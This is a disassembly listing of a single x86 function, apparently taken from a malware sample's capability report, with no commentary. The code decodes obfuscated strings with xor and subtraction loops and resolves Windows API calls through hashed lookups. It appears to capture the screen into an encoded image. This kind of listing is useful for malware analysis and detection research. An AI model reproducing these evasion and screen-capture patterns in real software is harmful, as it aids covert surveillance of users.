Function at 0x418f82
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x15c
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x40], 0xe1e1e2ba
push edi
mov dword [esp + 0x48], 0xd4e793d4
mov ecx, ebx
mov dword [esp + 0x4c], 0xe693d8de
mov dword [esp + 0x50], 0xd8d8e5d6
mov dword [esp + 0x54], 0xe2dbe6e1
mov word [esp + 0x58], 0x7de7
mov al, byte [esp + ecx + 0x44]
sub al, 0x73
mov byte [esp + ecx + 0xd8], al
inc ecx
cmp ecx, 0x16
jl 0x418fbf
mov byte [esp + 0xee], bl
mov ecx, ebx
mov dword [esp + 0x34], 0xcec8c4c0
mov dword [esp + 0x38], 0xd9c386cc
mov word [esp + 0x3c], 0xcecc
mov al, byte [esp + ecx + 0x34]
xor al, 0xa9
movzx eax, al
mov word [esp + ecx*2 + 0xc0], ax
inc ecx
cmp ecx, 0xa
jl 0x418ff2
xor eax, eax
mov word [esp + 0xd4], ax
lea eax, [esp + 0xd8]
push eax
call fcn.00412606
pop ecx
push ebx
lea eax, [esp + 0x8c]
mov dword [esp + 0x64], 0x46
push eax
lea eax, [esp + 0xa0]
mov dword [esp + 0x18], ebx
push eax
push 6
mov edx, 0xe7ea7d5c
mov dword [esp + 0x98], 1
pop ecx
mov dword [esp + 0x98], ebx
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebx
call fcn.00412cbc
call eax
test eax, eax
jne 0x419540
mov dword [esp + 0x2c], 0xa7aaa09b
mov ecx, ebx
mov word [esp + 0x30], 0x98a3
mov edx, 0xff
mov byte [esp + 0x32], 0xb0
movzx eax, byte [esp + ecx + 0x2c]
sub ax, 0x57
and ax, dx
mov word [esp + ecx*2 + 0x9c], ax
inc ecx
cmp ecx, 7
jl 0x419090
push ebx
xor eax, eax
mov edx, 0xf09d96e3
push ebx
mov word [esp + 0xb2], ax
lea eax, [esp + 0xa4]
push ebx
push eax
push 7
pop ecx
call fcn.00412cbc
call eax
mov ebx, eax
mov dword [esp + 0x5c], ebx
test ebx, ebx
je 0x419540
push ebx
push 7
mov edx, 0x271b5d23
pop ecx
call fcn.00412cbc
call eax
mov ebp, eax
test ebp, ebp
je 0x419530
push 0x8040
xor eax, eax
mov edx, 0x19e8f7ab
push eax
push eax
push 2
push 0x7f00
push eax
push 5
pop ecx
call fcn.00412cbc
call eax
mov esi, eax
test esi, esi
je 0x419135
lea eax, [esp + 0x44]
mov edx, 0x6b592b67
push eax
push esi
push 5
pop ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x41914d
lea eax, [esp + 0x34]
mov edx, 0xfc7a7777
push eax
push 5
pop ecx
call fcn.00412cbc
call eax
test eax, eax
jne 0x41914f
xor esi, esi
push 8
push ebx
push 7
mov edx, 0x1be3efe3
pop ecx
call fcn.00412cbc
call eax
push 0xa
push ebx
push 7
mov edx, 0x1be3efe3
mov edi, eax
pop ecx
call fcn.00412cbc
call eax
push eax
push edi
push ebx
push 7
mov edx, 0x8e1e617c
mov dword [esp + 0x38], eax
pop ecx
call fcn.00412cbc
call eax
mov dword [esp + 0x64], eax
test eax, eax
je 0x419520
push eax
push ebp
push 7
mov edx, 0x93f47bf0
pop ecx
call fcn.00412cbc
call eax
mov dword [esp + 0x2c], eax
test eax, eax
je 0x41950d
push 0x40cc0020
xor eax, eax
mov edx, 0x14b1f8c4
push eax
push eax
push ebx
push dword [esp + 0x38]
push edi
push eax
push eax
push ebp
push 7
pop ecx
call fcn.00412cbc
call eax
test eax, eax
je 0x4194f9
test esi, esi
je 0x41920f
mov ecx, dword [esp + 0x38]
sub ecx, dword [esp + 0x4c]
mov edx, dword [esp + 0x34]
push esi
push 0
pop eax
cmovns eax, ecx
push eax
xor eax, eax
sub edx, dword [esp + 0x50]
cmovns eax, edx
mov edx, 0x7de53dfa
push eax
push ebp
push 5
pop ecx
call fcn.00412cbc
call eax
and dword [esp + 0x28], 0
lea eax, [esp + 0x28]
push eax
push 0
push dword [esp + 0x6c]
mov edx, 0x883893dc
push 6
pop ecx
call fcn.00412cbc
call eax
test eax, eax
jne 0x4194f9
cmp dword [esp + 0x28], eax
je 0x4194f9
and dword [esp + 0x24], eax
mov edx, 0x5ba82cd
and dword [esp + 0x40], eax
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x28]
push eax
push 6
pop ecx
call fcn.00412cbc
call eax
test eax, eax
jne 0x4194e6
cmp dword [esp + 0x40], eax
je 0x4194e6
cmp dword [esp + 0x24], eax
je 0x4194e6
push dword [esp + 0x40]
call fcn.0040570b
mov edi, eax
pop ecx
test edi, edi
je 0x4194e6
push edi
push dword [esp + 0x44]
mov edx, 0x55220f7b
push dword [esp + 0x2c]
push 6
pop ecx
call fcn.00412cbc
call eax
test eax, eax
jne 0x4192f5
xor ebx, ebx
cmp dword [esp + 0x24], ebx
jbe 0x4192f1
mov esi, edi
push dword [esi + 0x30]
lea eax, [esp + 0xc4]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x4192d9
inc ebx
add esi, 0x4c
cmp ebx, dword [esp + 0x24]
jb 0x4192b7
jmp 0x4192f1
push 0x10
lea eax, [esp + 0xf4]
push esi
push eax
call fcn.00401d70
add esp, 0xc
and dword [esp + 0x24], 0
mov ebx, dword [esp + 0x5c]
push edi
call fcn.004056f0
cmp dword [esp + 0x28], 0
pop ecx
jne 0x4194e6
lea eax, [esp + 0x10]
xor esi, esi
push eax
inc esi
mov edx, 0xb91d33f0
push esi
push 0
push 8
pop ecx
call fcn.00412cbc
call eax
test eax, eax
jne 0x4194e6
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4194e6
and dword [esp + 0x68], 0
cmp dword [esp + 0x60], 0
jbe 0x419386
push 0x10
lea eax, [esp + 0x70]
push 0x420f28
push eax
call fcn.00401d70
imul eax, dword [esp + 0x74], 0x1c
lea ecx, [esp + 0x6c]
add esp, 0xc
mov dword [esp + eax + 0x80], 4
imul eax, dword [esp + 0x68], 0x1c
mov dword [esp + eax + 0x7c], esi
imul eax, dword [esp + 0x68], 0x1c
mov dword [esp + eax + 0x84], ecx
inc dword [esp + 0x68]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x68]
mov edx, 0x3a256861
push ecx
lea ecx, [esp + 0xf4]
push ecx
push eax
push dword [esp + 0x34]
push 6
pop ecx
call fcn.00412cbc
call eax
test eax, eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
je 0x4193ba
push eax
call dword [ecx + 8]
jmp 0x4194e6
xor edx, edx
push edx
push edx
push edx
push edx
push eax
call dword [ecx + 0x14]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x120]
push esi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
jne 0x4194dc
cmp dword [esp + 0x12c], eax
jne 0x4194dc
push dword [esp + 0x128]
call fcn.0040570b
mov esi, eax
pop ecx
test esi, esi
je 0x4194dc
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x128]
push eax
push dword [esp + 0x12c]
mov edx, dword [ecx]
push esi
push ecx
call dword [edx + 0xc]
test eax, eax
jne 0x4194d5
mov dword [esp + 0x14], 0x101d0efe
xor ecx, ecx
mov dword [esp + 0x18], 0x131e1910
mov edx, 0xff
mov dword [esp + 0x1c], 0x15d91f1a
mov word [esp + 0x20], 0x101b
mov byte [esp + 0x22], 0x12
movzx eax, byte [esp + ecx + 0x14]
add ax, 0x55
and ax, dx
mov word [esp + ecx*2 + 0x100], ax
inc ecx
cmp ecx, 0xf
jl 0x419450
mov edx, dword [esp + 0x128]
xor eax, eax
mov dword [esp + 0x14], 0xa59f9684
mov ecx, esi
mov dword [esp + 0x18], 0xa394a451
mov dword [esp + 0x1c], 0xa49f9696
mov dword [esp + 0x20], 0x3ba5a099
movups xmm0, xmmword [esp + 0x14]
mov word [esp + 0x11e], ax
mov byte [esp + 0xbc], al
lea eax, [esp + 0x100]
psubb xmm0, xmmword [0x420fc0]
push eax
movups xmmword [esp + 0xb0], xmm0
call fcn.00418de4
pop ecx
lea eax, [esp + 0xac]
push eax
call fcn.00412606
pop ecx
push esi
call fcn.004056f0
pop ecx
mov eax, dword [esp + 0x10]
push eax
mov edx, dword [eax]
call dword [edx + 8]
push dword [esp + 0x28]
mov edx, 0xe32ee8f1
push 6
pop ecx
call fcn.00412cbc
call eax
push dword [esp + 0x2c]
mov edx, 0x93f47bf0
push ebp
push 7
pop ecx
call fcn.00412cbc
call eax
push dword [esp + 0x64]
mov edx, 0xf93dcbf0
push 7
pop ecx
call fcn.00412cbc
call eax
push ebp
push 7
mov edx, 0x63cab623
pop ecx
call fcn.00412cbc
call eax
push ebx
push 7
mov edx, 0x63cab623
pop ecx
call fcn.00412cbc
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x15c
ret